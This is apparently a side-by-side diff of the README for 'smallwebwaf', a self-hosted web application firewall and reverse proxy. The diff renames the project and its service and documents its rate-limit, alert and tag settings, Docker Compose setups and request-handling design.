| `SWWAF_ALERT_EVENTS` | `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | | `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWWAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | | `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWWAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | | `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | | `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | | `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when one client's requests carry more bytes than this in a minute, a size. | | `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when one client's requests carry more bytes than this in an hour, a size. | | `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWWAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | | `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWWAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | | `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWWAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when the netblock around a client carries more bytes than this in a minute, a size. | | `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWWAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when the netblock around a client carries more bytes than this in an hour, a size. | | `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWWAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWWAF_ANOMALY_NET_` thresholds count, from 0 to 32. | | `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWWAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWWAF_ANOMALY_NET_` thresholds count, from 0 to 128. | | `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWWAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | | `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWWAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | | `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWWAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when one AS number carries more bytes than this in a minute, a size. | | `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWWAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when one AS number carries more bytes than this in an hour, a size. | | `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | | `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | | `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWWAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when the whole service carries more bytes than this in a minute, a size. | | `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWWAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when the whole service carries more bytes than this in an hour, a size. | | `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWWAF_WATCH_NETS` | empty | Named netblocks the `SWWAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | | `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWWAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | | `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWWAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | | `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWWAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when a watched netblock carries more bytes than this in a minute, a size. | | `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWWAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when a watched netblock carries more bytes than this in an hour, a size. | | `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in [`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings. full, and the limits that are fixed rather than settings.
@@ -339,14 +346,13 @@ full, and the limits that are fixed rather than settings.
Each example is a complete `compose.yaml`. `smallwebwaf` is the tag Each example is a complete `compose.yaml`. `smallwebwaf` is the tag
`make docker` gives the image; on another host, use the name you pushed it `make docker` gives the image; on another host, use the name you pushed it
under, by digest. Docker Compose puts the services on a private network of its under, by digest. Docker Compose puts the services on a private network of its
own, where each reaches the others by service name. Only "In front of gitea" own, where each reaches the others by service name. Each example publishes
uses traefik. The other three publish `rproxy`'s port on the host, for trying it `rproxy`'s port on the host, for trying it out.
out.
### Smallest setup ### Smallest setup
One app, `rproxy` in front of it, and `servewaf` with a volume for its state One app, `rproxy` in front of it, and `discriminator` with a volume for its
files, every setting at its default. state files, every setting at its default.
```yaml ```yaml
services: services:
@@ -357,20 +363,20 @@ services:
rproxy: rproxy:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWRP_WAF_BACKEND: http://servewaf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
SWRP_UPSTREAM_URL: http://app:8081 SWRP_UPSTREAM_URL: http://app:8081
ports: ports:
- "8080:8080" - "8080:8080"
servewaf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SMALLWEBWAF_COMMAND: servewaf SWW_COMMAND: discriminator
volumes: volumes:
- servewaf-state:/var/lib/smallwebwaf - discriminator-state:/var/lib/sww
volumes: volumes:
servewaf-state: discriminator-state:
``` ```
### Custom per-address limits ### Custom per-address limits
@@ -393,128 +399,45 @@ services:
rproxy: rproxy:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWRP_WAF_BACKEND: http://servewaf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
SWRP_UPSTREAM_URL: http://app:8081 SWRP_UPSTREAM_URL: http://app:8081
ports: ports:
- "8080:8080" - "8080:8080"
servewaf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SMALLWEBWAF_COMMAND: servewaf SWW_COMMAND: discriminator
# Monitoring skips every check. # Monitoring skips every check.
SWWAF_ALLOW_NETS: 192.0.2.10 SWW_ALLOW_NETS: 192.0.2.10
# The office and the automation host are never rate limited. # The office and the automation host are never rate limited.
SWWAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7 SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
# A netblock that sends nothing wanted. # A netblock that sends nothing wanted.
SWWAF_DENY_NETS: 198.51.100.128/25 SWW_DENY_NETS: 198.51.100.128/25
# Tighter limits for everyone else: a small static site. # Tighter limits for everyone else: a small static site.
SWWAF_RATE_LIMIT_PER_MINUTE: "60" SWW_RATE_LIMIT_PER_MINUTE: "60"
SWWAF_RATE_LIMIT_PER_HOUR: "600" SWW_RATE_LIMIT_PER_HOUR: "600"
SWWAF_RATE_LIMIT_PER_DAY: "3000" SWW_RATE_LIMIT_PER_DAY: "3000"
# Hosting networks and one country get a share of those limits. # Hosting networks and one country get a share of those limits.
SWWAF_ASN_LIMIT_PERCENT: AS14061:50,AS16276:25 SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
SWWAF_COUNTRY_LIMIT_PERCENT: cn:25
# Paths only scanners ask for; one request bans the client. # Paths only scanners ask for; one request bans the client.
SWWAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
# Answer a refused client with 429 rather than 403. # Answer a refused client with 429 rather than 403.
SWWAF_BAN_RESPONSE: "429" SWW_BAN_RESPONSE: "429"
SWWAF_LIMIT_BAN_DURATION: 30m SWW_LIMIT_BAN_DURATION: 30m
volumes: volumes:
- servewaf-state:/var/lib/smallwebwaf - discriminator-state:/var/lib/sww
volumes: volumes:
servewaf-state: discriminator-state:
``` ```
### In front of gitea
gitea behind traefik, set up for a code forge:
- the upload limits raised, in size and in time;
- the response size limit raised, for clones over 1 GiB;
- the Actions runners exempt from counting;
- the default request and byte limits kept.
`traefik` is the network traefik is on, made outside this file.
```yaml
services:
gitea:
# gitea 1.27.3, 2026-08-29
image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef
environment:
GITEA__server__ROOT_URL: https://git.example/
# The host and the port of the SSH clone URLs gitea shows.
GITEA__server__SSH_DOMAIN: git.example
GITEA__server__SSH_PORT: "2222"
# gitea's TCP peer is rproxy, on the private network.
GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
volumes:
- gitea-data:/data
networks:
- site
ports:
# SSH does not pass through smallwebwaf.
- "2222:22"
rproxy:
image: smallwebwaf
environment:
SWRP_WAF_BACKEND: http://servewaf:8080
SWRP_UPSTREAM_URL: http://gitea:3000
# Pushes, LFS objects and image layers over 100 MiB, or slower
# than a minute, are cut off at the defaults.
SWRP_MAX_REQUEST_SIZE: 2G
SWRP_MAX_REQUEST_TIME_MS: "600000"
# A clone larger than 1 GiB is cut off at the default.
SWRP_MAX_RESPONSE_SIZE: 4G
networks:
- site
- traefik
labels:
traefik.enable: "true"
# rproxy is on two networks; traefik reaches it on this one.
traefik.docker.network: traefik
traefik.http.routers.git.rule: Host(`git.example`)
traefik.http.routers.git.entrypoints: websecure
traefik.http.routers.git.tls.certresolver: letsencrypt
traefik.http.services.git.loadbalancer.server.port: "8080"
servewaf:
image: smallwebwaf
environment:
SMALLWEBWAF_COMMAND: servewaf
SWWAF_INSTANCE_NAME: fsn1/servewaf
# The Actions runners ask for work all day; never count them.
SWWAF_RATE_LIMIT_EXEMPT_NETS: 10.0.4.0/24
# gitea never serves these; a request for one bans the client.
SWWAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php,/wp-admin/
volumes:
- servewaf-state:/var/lib/smallwebwaf
networks:
- site
networks:
site:
traefik:
external: true
volumes:
gitea-data:
servewaf-state:
```
`deploy/gitea` holds a complete setup of gitea, traefik included, as a Docker
Compose file. [`docs/gitea.md`](docs/gitea.md) explains it, and records what the
defaults do in front of gitea, request by request.
### `rproxy` beside the app ### `rproxy` beside the app
The app is built on the `smallwebwaf` image, with `rproxy` inside its container. The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's `app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
container". `rproxy` answers `503` to every request while `servewaf` is down, container". `rproxy` answers `503` to every request while `discriminator` is
and `servewaf`: down, and `discriminator`:
- observes before it enforces; - observes before it enforces;
- looks addresses up in a local database rather than GeoJS; - looks addresses up in a local database rather than GeoJS;
@@ -527,46 +450,46 @@ services:
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside. # A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
build: ./app build: ./app
environment: environment:
SWRP_WAF_BACKEND: http://servewaf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
# Answer 503 rather than pass a request on while servewaf is down. # Answer 503 rather than pass a request on while discriminator is down.
SWRP_DEFAULT_DISPOSITION: deny SWRP_DEFAULT_DISPOSITION: deny
ports: ports:
- "8080:8080" - "8080:8080"
servewaf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SMALLWEBWAF_COMMAND: servewaf SWW_COMMAND: discriminator
SWWAF_INSTANCE_NAME: fsn1/servewaf SWW_INSTANCE_NAME: fsn1/discriminator
# Refuse nothing yet; log what enforce mode would have done. # Refuse nothing yet; log what enforce mode would have done.
SWWAF_MODE: observe SWW_MODE: observe
# Look addresses up in a local IPinfo Lite database, never GeoJS. # Look addresses up in a local IPinfo Lite database, never GeoJS.
SWWAF_LOOKUP_SOURCE: file SWW_LOOKUP_SOURCE: file
SWWAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
# Alerts to an ntfy topic, with its token read from a file. # Alerts to an ntfy topic, with its token read from a file.
SWWAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
SWWAF_ALERT_NTFY_TOKEN_FILE: /etc/smallwebwaf/tokens/ntfy SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
SWWAF_ALERT_EVENTS: ban,permanent_ban,waf_block,source_failure,file_error SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
volumes: volumes:
- servewaf-state:/var/lib/smallwebwaf - discriminator-state:/var/lib/sww
- /srv/ipinfo:/var/lib/ipinfo:ro - /srv/ipinfo:/var/lib/ipinfo:ro
- /srv/smallwebwaf/tokens:/etc/smallwebwaf/tokens:ro - /srv/sww/tokens:/etc/sww/tokens:ro
volumes: volumes:
servewaf-state: discriminator-state:
``` ```
The database is mounted by its directory, not by file, so that a replaced The database is mounted by its directory, not by file, so that a replaced
database is seen. A token file belongs to uid 65532, the `smallwebwaf` user, database is seen. A token file belongs to uid 65532, the `sww` user, with mode
with mode `0400`. This one holds an access token the ntfy server issued, which `0400`. This one holds an access token the ntfy server issued, which
`ntfy token add <user>` prints there: `ntfy token add <user>` prints there:
```sh ```sh
mkdir -p /srv/smallwebwaf/tokens mkdir -p /srv/sww/tokens
# <token> is the access token that ntfy printed. # <token> is the access token that ntfy printed.
echo '<token>' > /srv/smallwebwaf/tokens/ntfy echo '<token>' > /srv/sww/tokens/ntfy
chown 65532:65532 /srv/smallwebwaf/tokens/ntfy chown 65532:65532 /srv/sww/tokens/ntfy
chmod 0400 /srv/smallwebwaf/tokens/ntfy chmod 0400 /srv/sww/tokens/ntfy
``` ```
## Design ## Design
@@ -575,54 +498,58 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why.
### What happens to a request ### What happens to a request
A request goes through these steps, in this order. Once `servewaf` refuses a A request goes through these steps, in this order. Once `discriminator` refuses
request, the steps after that are skipped, apart from the report, and nothing of a request, the steps after that are skipped, apart from the report, and nothing
the request reaches the app. of the request reaches the app.
`rproxy` takes the first two: `rproxy` takes the first two:
1. The health check, `GET /_smallwebwaf/healthz`, is answered at once. 1. The health check, `GET /_sww/healthz`, is answered at once.
2. The visitor's address is worked out from `X-Forwarded-For`, believed only 2. The visitor's address is worked out from `X-Forwarded-For`, believed only
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `servewaf` the request as the from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
visitor sent it, with the first 64 KiB of its body. the visitor sent it, with the first 64 KiB of its body.
`servewaf` takes the checks: `discriminator` takes the checks:
3. The static lists, `SWWAF_ALLOW_NETS` and `SWWAF_DENY_NETS`. 3. The tag lists.
4. The bans. 4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
5. The lookup of the client's AS number and country. 5. The bans.
6. The country lists. 6. The lookup of the client's AS number and country.
7. The reputation sources. 7. The country list.
8. The client's limit percentage, from its AS number, its country or a 8. The reputation sources.
reputation hit. 9. The tag refusals of `SWW_TAG_DENY`.
9. The rate limits. 10. The client's limit percentage, from its tags, its AS number, its country or
10. The trap paths. a reputation hit.
11. The rule files. 11. The rate limits.
12. The header limits, and then the Core Rule Set. 12. The trap paths.
13. A path under `/_smallwebwaf/` is answered `404`, so that the app never sees 13. The rule files.
that prefix. 14. The header limits, and then the Core Rule Set.
15. The tag refusals again, so that `exploitsignature` can refuse too.
16. A path under `/_sww/` is answered `404`, so that the app never sees that
prefix.
`rproxy` takes the rest, with `servewaf` counting at the end: `rproxy` takes the rest, with `discriminator` counting at the end:
14. The request is passed to the app, streaming. 17. The request is passed to the app, streaming.
15. After the answer, `rproxy` sends `servewaf` a report with the status and the 18. After the answer, `rproxy` sends `discriminator` a report with the status
bytes each way. For an allowed request, `servewaf` counts the bytes toward and the body bytes each way. For an allowed request, `discriminator` counts
the byte limits and adds the request to the client's history. the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
they take it past one, and adds the request to the client's history.
A refused visitor is answered with `SWWAF_BAN_RESPONSE`. A `block` rule or a A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
false positives; such refusals count toward `SWWAF_ERROR_BURST_THRESHOLD` positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
instead. A request over the header limits of step 12 is answered `431`, and bans request over the header limits of step 14 is answered `431`, and bans nobody
nobody either. `rproxy` itself answers `405` to a method it does not pass on, either. `rproxy` itself answers `405` to a method it does not pass on, and the
and the status for a size or time limit, such as `413` for a body too large. status for a size or time limit, such as `413` for a body too large.
### Clients and bans ### Clients and bans
- A client is one IPv4 address or one IPv6 netblock of - A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
`SWWAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64. since one abuser usually controls a whole /64.
- Each limit is counted over a sliding window with a few integers per client. - Each limit is counted over a sliding window with a few integers per client.
The table of clients and the table of bans each have a bound The table of clients and the table of bans each have a bound
(`SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_MAX_BANS`), so memory is bounded too. (`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
- A ban refuses every request from its netblock until it ends. Requests refused - A ban refuses every request from its netblock until it ends. Requests refused
under a ban count toward no limit. A permanent ban ends only when an admin under a ban count toward no limit. A permanent ban ends only when an admin
lifts it. lifts it.
@@ -631,32 +558,54 @@ and the status for a size or time limit, such as `413` for a body too large.
bans. An admin adds, keeps or lifts a ban by editing `bans.json` or through bans. An admin adds, keeps or lifts a ban by editing `bans.json` or through
the ban endpoints (see [`docs/admin-endpoints.md`](docs/admin-endpoints.md)). the ban endpoints (see [`docs/admin-endpoints.md`](docs/admin-endpoints.md)).
### Request tags
Each request gets tags from what `discriminator` knows of its client, written in
the `tags` field of its log line:
- `asn=<number>` and `country=<code>`, from the lookup;
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
or `vpn=mullvad`;
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
the client;
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
`SWW_ROUTEWATCH_URL` is set.
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
### Attack detection ### Attack detection
- The Core Rule Set reads the method, the URL with its query string, and the - The Core Rule Set reads the method, the URL with its query string, and the
headers of every request, and no body unless `SWWAF_WAF_BODY_LIMIT` is set. In headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the front of a code forge, bodies carry what people write and publish, which the
rules take for attacks. rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in seven ways so that it lets ordinary - `smallwebwaf` changes the Core Rule Set in nine ways so that ordinary requests
requests to a code forge through, such as git over HTTP and sign-in through get through to a code forge and to WordPress. They include git over HTTP and
Git Credential Manager. No setting undoes them; "Attack detection" in sign-in through Git Credential Manager on a code forge, and saving a post from
the block editor on WordPress. On gitea's own paths, its searches, file names
and branch names get through too. On WordPress's own paths, its searches and
file names do. No setting undoes the changes; "Attack detection" in
[`SPEC.md`](SPEC.md) lists them. [`SPEC.md`](SPEC.md) lists them.
- `SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's - These apps work out of the box at the default settings, and their recorded
own fields or paths. gitea's exclusions, in ordinary requests pass the Core Rule Set:
`deploy/gitea/crs-exclusions.conf`, let its searches, file names and branch - gitea;
names through. - WordPress.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
while `servewaf` runs. The image ships one file of probes no real visitor while `discriminator` runs. The image ships one file of probes no real visitor
sends (see [`docs/rules.md`](docs/rules.md)). sends (see [`docs/rules.md`](docs/rules.md)).
### State files ### State files
`servewaf` keeps everything in memory, and the five JSON files in `discriminator` keeps everything in memory, and the five JSON files in
`SWWAF_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`, `SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file `reputation.json` and `alerts.json`. Each is written whole, to a temporary file
renamed over the real one, so a crash leaves a complete file. `servewaf` notices renamed over the real one, so a crash leaves a complete file. `discriminator`
a file edited on disk and takes the edit in; an edit that does not parse is set notices a file edited on disk and takes the edit in; an edit that does not parse
aside as `<name>.bad`, and never stops the running process (see is set aside as `<name>.bad`, and never stops the running process (see
[`docs/state-files.md`](docs/state-files.md)). [`docs/state-files.md`](docs/state-files.md)).
### The image and its processes ### The image and its processes
@@ -665,33 +614,34 @@ aside as `<name>.bad`, and never stops the running process (see
come from Ubuntu's archive, and nixpkgs is fixed at one release. An app's come from Ubuntu's archive, and nixpkgs is fixed at one release. An app's
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the `Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
same package each time it is built (see [`docs/image.md`](docs/image.md)). same package each time it is built (see [`docs/image.md`](docs/image.md)).
- runit, a service supervisor, runs `smallwebwaf` as the `smallwebwaf` user (uid - runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
and gid 65532) and starts it again when it exits. The `run` script of and starts it again when it exits. The `run` script of `discriminator` gives
`servewaf` gives the state directory to the `smallwebwaf` user at each start, the state directory to the `sww` user at each start, so a volume needs no
so a volume needs no change of owner. change of owner.
- `rproxy` and `servewaf` use no token between them. `servewaf`'s own endpoints, - `rproxy` and `discriminator` use no token between them. `discriminator`'s own
under `/_smallwebwaf/`, are for your admin tools and your metrics collector, endpoints, under `/_sww/`, are for your admin tools and your metrics
at its own address on the private network; nothing routes the internet there. collector, at its own address on the private network; nothing routes the
internet there.
- `docker stop` gives requests in progress five seconds to finish. With `rproxy` - `docker stop` gives requests in progress five seconds to finish. With `rproxy`
in the app's container, the app must keep answering for five seconds after in the app's container, the app must keep answering for five seconds after
`SIGTERM` for that to help them. `SIGTERM` for that to help them.
- Only faults found at start stop a process: an invalid setting, a rule file or - Only faults found at start stop a process: an invalid setting, a rule file or
state file that does not parse, a lookup database that cannot be read, or an state file that does not parse, a lookup database that cannot be read, or an
address it cannot listen on. Once running, a failing lookup service, address it cannot listen on. Once running, a failing lookup service,
reputation source or alert destination never takes `servewaf` down. reputation source or alert destination never takes `discriminator` down.
### Packages ### Packages
- `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. - `cmd/sww`: the binary, which only calls `internal/sww`.
- `internal/smallwebwaf`: the process, as the command it is given, and the - `internal/sww`: the process, as the command it is given, and the health check.
health check.
- `internal/config`: reads the settings, the one place they are read. - `internal/config`: reads the settings, the one place they are read.
- `internal/rproxy`: the reverse proxy in front of one app. - `internal/rproxy`: the reverse proxy in front of one app.
- `internal/servewaf`: `servewaf`'s server, which runs the checks and answers - `internal/discriminator`: `discriminator`'s server, which runs the checks and
its own endpoints. answers its own endpoints.
- `internal/ratelimit`, `internal/bans`, `internal/rules`, `internal/waf`, - `internal/ratelimit`, `internal/bans`, `internal/rules`,
`internal/lookup`, `internal/reputation`, `internal/anomaly` and `internal/coreruleset`, `internal/lookup`, `internal/reputation`,
`internal/alerts`: one check or source each. `internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
source each.
- `internal/state`, `internal/requestlog`, `internal/remotelog` and - `internal/state`, `internal/requestlog`, `internal/remotelog` and
`internal/metrics`: the state files, the log lines, the syslog sender and the `internal/metrics`: the state files, the log lines, the syslog sender and the
metrics. metrics.
@@ -748,46 +698,42 @@ on the host.
`make check`. `make check`.
- `script/docker`: builds the image, whose build runs the tests and the linter - `script/docker`: builds the image, whose build runs the tests and the linter
first. `make docker`. first. `make docker`.
- `script/publish`: runs `script/docker`, whose build happens on the Docker host
named by `DOCKER_HOST` (`ssh://root@fsn1app1` unless set). It then pushes the
image to `PUBLISH_IMAGE` (`git.eeqj.de/sneak/smallwebwaf` unless set). It
refuses a working tree with uncommitted changes. `make publish`. It pushes
four tags:
- the UTC date as `YYYY-MM-DD`;
- the short commit hash;
- the branch name;
- `latest`.
- `script/cibuild`: what CI runs: `script/bootstrap`, `script/check`, then the - `script/cibuild`: what CI runs: `script/bootstrap`, `script/check`, then the
image build. image build.
- `script/precommit`: run by the git pre-commit hook; runs `script/check`. - `script/precommit`: run by the git pre-commit hook; runs `script/check`.
- `script/install-precommit`: installs that hook. `make hooks`. - `script/install-precommit`: installs that hook. `make hooks`.
- `script/build`: builds `bin/smallwebwaf` with the Go on your host. - `script/build`: builds `bin/sww` with the Go on your host. `make build`.
`make build`. - `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the
- `script/run`: builds `bin/smallwebwaf` and runs `servewaf` and `rproxy` on the
host, with the settings in your environment. `make run`. Unless your settings host, with the settings in your environment. `make run`. Unless your settings
say otherwise: say otherwise:
- `rproxy` listens on port 8080, in front of an app at - `rproxy` listens on port 8080, in front of an app at
`http://127.0.0.1:8081`; `http://127.0.0.1:8081`;
- `servewaf` listens on port 8090; - `discriminator` listens on port 8090;
- its state files go in `bin/state`; - its state files go in `bin/state`;
- its rule files are those of `share/rules.d`. - its rule files are those of `share/rules.d`.
- `script/example-app`: builds the image and the example app - `script/example-app`: builds the image and the example app
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and (`deploy/example-app`) on it, runs the app with `rproxy` in its container and
`servewaf` in another, and checks them. Then it removes the containers, the `discriminator` in another, and checks them. Then it removes the containers,
network, the volumes and the images. Needs network access. `make example-app`. the network, the volumes and the images. Needs network access.
It checks: `make example-app`. It checks:
- the health checks; - the health checks;
- a request passed to the app; - a request passed to the app;
- a ban for a broken limit, and a ban for a probe made permanent; - a ban for a broken limit, and a ban for a probe made permanent;
- that only `servewaf`'s container changes the state directory's owner; - that only `discriminator`'s container changes the state directory's owner;
